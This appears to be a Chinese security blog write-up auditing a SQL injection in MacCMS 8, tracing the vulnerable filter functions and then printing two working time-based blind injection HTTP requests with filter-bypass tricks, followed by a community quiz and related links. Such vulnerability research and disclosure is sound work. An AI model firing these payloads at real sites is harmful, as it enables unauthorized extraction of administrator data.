苹果cms function.php,送你们几个字!对!就是MACCMS注入!
文末答题赢福利0x00 相关信息源码信息:maccms8_mfb(苹果CMS视频分享程序 8.0 | 2017.09.27 发布)
源码下载:http://www.mycodes.net/47/7798.htm(官网http://www.maccms.com/down.html 已悄悄修复╮(╯▽╰)╭)
问题位置:maccms8_mfb\inc\common\function.php中htmlEncode方法
漏洞类型:前台SQL注入漏洞
0x01 审计过程
1.首先在maccms8_mfb\inc\module\vod.php文件中的第93-98行的代码当$method=search成立的时候便回进入到be('all', 'wd')获取请求中wd参数的值,并使用chkSql($wd)方法对$wd进行安全处理。
2.跟入be方法在maccms8_mfb\inc\common\function.php文件中的第266-294行中可看到该方法是对GET,POST,REQUEST接收到的参数进行addslashes的转义处理,根据上一步可以知道be('all', 'wd')是,使用REQUEST接收wd参数的值并使用addslashes函数进行转义处理。
3.回到maccms8_mfb\inc\module\vod.php第96行再跟入chkSql方法,在maccms8_mfb\inc\common\360_safe3.php文件中的第27-43行中可以看到该方法是将接收到的变量进行循环urldecode直到解出原文为止,解出后再丢进StopAttack进行处理,处理完成后返回htmlEncode($s)的值。
4.跟入StopAttack方法在maccms8_mfb\inc\common\360_safe3.php文件中的第12-26行中可以看到该方法是使用接收到的正则$ArrFiltReq进行安全处理。
5.跟入$getfilter在maccms8_mfb\inc\common\360_safe3.php文件中的第57-61行可以看到该方法是检测GET,POST,COOKIE中的关键字的拦截规则,且该检测规则存在被绕过的问题。
6.回到maccms8_mfb\inc\common\360_safe3.php的第42行再跟入htmlEncode方法,在maccms8_mfb\inc\common\function.php文件中的572-586行可以看到该方法是对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,此处没有对其他的空白字符和反斜杠进行处理,可以被绕过。
7.回到maccms8_mfb\inc\module\vod.php第98行再跟入$tpl->P['wd'] = $wd;,在maccms8_mfb\inc\common\template.php文件的第2372行看到$tpl被创建的位置,且class AppTpl也是在当前文件被创建的,跟踪P['wd']数据发现传递给了$lp['wd'],然后跟踪$lp['wd'],在如下两处进行了SQL的拼接处理,所以存在SQL注入,且是单引号字符型注入。
第一处:需要请求m参数为m=vod-search的时候触发。
第二处:需要请求m参数为m=art-search的时候触发。
0x02 漏洞复现
在上述的分析过程中可以知道htmlEncode仅对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,可以使用%0b绕过,但是根据0x01中的第7步可以知道是字符型注入,需要闭合单引号,htmlEncode又把单引号进行的实体化,所以可以转换思路,如下两个SQL语句拼接时候$lp['wd']在SQL语句中可以控制两个位置,因此可以传入反斜杠进行单引号的转义和闭合,又由于0x01中第2步得知REQUEST请求使用了addslashes函数进行转义处理,0x01中的第3步中使用urldecode进行解码,所以可以使用双url编码绕过addslashes函数。
类似如下的操作:
最终的利用payload,mac_vod和mac_art两张表中要有数据。
在进行数据的枚举时候需要将cookie 中的PHPSESSID删掉,否则会限制快速访问,如下是对应的EXP,获取的正确数据变会延迟5s回显。
POST /code/maccms8_mfb/index.php?m=vod-search HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Connection: keep-alive
Upgrade-Insecure-Requests: 1
wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(5)),0)#%25%35%63
POST /code/maccms8_mfb/index.php?m=art-search HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Connection: keep-alive
Upgrade-Insecure-Requests: 1
wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(5)),0)#%25%35%63
0x03 小总结
用反斜杠转义单引号的方法适用当用户可控的位置有两处及以上,且在同一SQL语句中被拼接,当然前提是反斜杠未被处理,本篇就是这种情况,本篇漏洞复现的源码官方已经悄然修复,所以大家要进行漏洞学习的话请前往http://www.mycodes.net/47/7798.htm进行源码的下载,当然如果大家有更好的思路欢迎一起讨论交流。
上周答案:ACD
上周共有几十位小伙伴参与了社区答题,第一题只有3位小伙伴答对了哟!第二题也是3位小伙伴呢!第三题的准确率那可是杠杠的,全票答对!这周答题继续,小伙伴们再接再厉呀!!!
答题积分榜昵称 得分JOKE 10分
因果 10分
Tr@cer_0x06lA 10分
xz 5分
LOKI 5分
!f4me 5分
优雅的Mr.Py 5分
Passive 5分
J1ink 5分
67 5分
M 5分
Passive 5分
J1ink 5分
67 5分
大头 5分
邢 5分
答题开始:
本篇涉及的小技巧有:()
A.利用反斜杠转义单引号从而引入SQL语句进行注入
B.使用%0b和反引号绕过waf的拦截规则
C.Regexp处使用16进制编码避免单引号被转义
D.数据枚举时候删除PHPSESSID避免访问次数被限制
苹果cms function.php,送你们几个字!对!就是MACCMS注入!相关推荐
- 苹果cms主动推送php,飞飞cms、海洋cms、苹果cms、maccms百度主动实时自动推送代码...
飞飞cms.海洋cms.苹果cms.maccms百度主动实时自动推送代码 该代码适用于所有网站,不限于苹果cms.飞飞海洋等.其他帝国cms.wordpress等等都可以使用. 代码如下: (func ...
- 爆料:苹果CMS原官方域名被盗,远程api被黑客利用!
近日有站长爆料,苹果cms电影点播程序原官方域名悄无声息地被转到国外注册商,原有注册信息和备案信息全部被清空,域名持有者[即苹果cms程序员老王]毫无知情,如此重要的操作,绑定的手机和邮箱没有收到任何 ...
- 什么是苹果cms?苹果cms如何安装及使用?
苹果cms是什么? 苹果cms分2个版本:"苹果cmsv8"和 "苹果cmsv10"苹果cmsv10是由v8进化而来.苹果cms程序是一套采用PHP+MYSQL ...
- 苹果cms(mac cms)安装和避雷
目录 写在最前 下载部署 配置安装 写在最后 写在最前 如题所言,非常简单的Mac CMS(苹果cms)搭建教程,但是要注意避雷. 下载部署 访问maccms的官方网站(或github)下载mac ...
- 苹果CMS怎么更换模板详细教程
在用苹果cms建立网站后,如果我们不喜欢默认的模板或者想在一段时间后改变网站的风格,我们该如何改变网站模板?今天,我将把这个操作教给刚进入这个行业的年轻白人.这里的前提是确保你有一个完善的网站. 让我 ...
- 苹果cms简介和优点及最新更新地址
文章目录[隐藏] 前言 苹果 cms 简介 优点 苹果 CMS 官方免费 API 接口 苹果 cms 官方 git 地址 前言 由于某些原因,苹果 cms官网被迫关闭.其实对于程序本身来说还是挺不错的 ...
- 苹果cms模板_苹果cms手机模板好看的有哪些?
今天我的主题网给大家推荐几款苹果cms比较好看的手机模板 [第二十三套]超简洁苹果CMSv10采用ajax加载方式的手机模板 苹果cms手机模板模板地址:https://www.mytheme.cn/ ...
- 苹果cms官网源码下载
目前苹果cms官网暂时关闭,官网唯一域名maccms.com,临时官网:https://magicblack.github.io/ 其他后缀域名都是假冒的,请勿下载盗版网站源码. 免责声明 本程序仅 ...
- 苹果cms V8/V10定时任务百度主动URL推送设置教程 配合宝塔定时计划任务
一淘模板(56admin.com)给大家带来一个苹果cms V8/V10定时任务百度主动URL推送设置教程 配合宝塔定时计划任务 教程主要分为3步走: 获取百度token(这一步直接复制网上的) 苹果 ...
- 宝塔同时安装苹果cms海洋cms_苹果cms用宝塔定时采集+添加百度推送教程
苹果cms用宝塔定时采集+添加百度推送教程 2018-09-17 阅读:27278 准备工作 1,安装的宝塔面板(和苹果cms在不在一个服务器上都可以) 2,安装好的苹果CMS v10 3,采集需要先 ...
最新文章
- mysql索引优化规则_Mysql优化选择最佳索引规则
- ajax可以在localhost上用吗_你还不知道跨域问题是怎样造成的吗?
- 将DataTable中的数据导入到数据库中
- PowerShell: 详解Windows10常用的PowerShell高级任务
- Id都是“とつくとき”这样的怎么爬,在线等,急
- Oracle内置角色connect与resource的权限
- 六级词汇打卡第五天(五)
- 视频专辑:Web Service视频教程
- python urlopen错误_urlopen()出错
- leetcode -- Construct Binary Tree from Preorder and Inorder Traversal
- Linux服务器部署javaweb项目,从环境配置,到最终系统运行
- office 兼容包下载地址
- win10和win7两个计算机相连,详解win10两台电脑网线直连的操作方法
- 计算机中央控制单元是由什么组成,电子控制单元由什么组成
- 全年DDoS攻击分析|知道创宇云安全2018年度网络安全态势报告
- 2018 最新直播接口
- 为什么要购买阿里云服务器?云服务器用途有哪些?
- 快速编写HTML代码常用的方法
- 如何包含鼠标指针(箭头)截图或者录屏?
- Kafka系列 —— Kafka监控
热门文章
- 中芯国际换帅,事情并不简单
- 交互技术基础(复习)
- SpringBoot整合Magic-Api
- 若依ruoyi框架整合magic-api增删改查Demo
- Python 批量合并 Excel工作簿
- “数据类型不一致: 应为 NUMBER, 但却获得 BINARY”解决方法
- html让网页在手机端自动横屏,Css实现手机端页面强制横屏的方法示例
- 网页设计期末作品_平面、网页、UI设计师该如何做作品集?
- deepfacelab训练多久_DeepFaceLab进阶:H128,DF,SAE模型有何不同?哪个最好?
- 软路由cpu性能跑分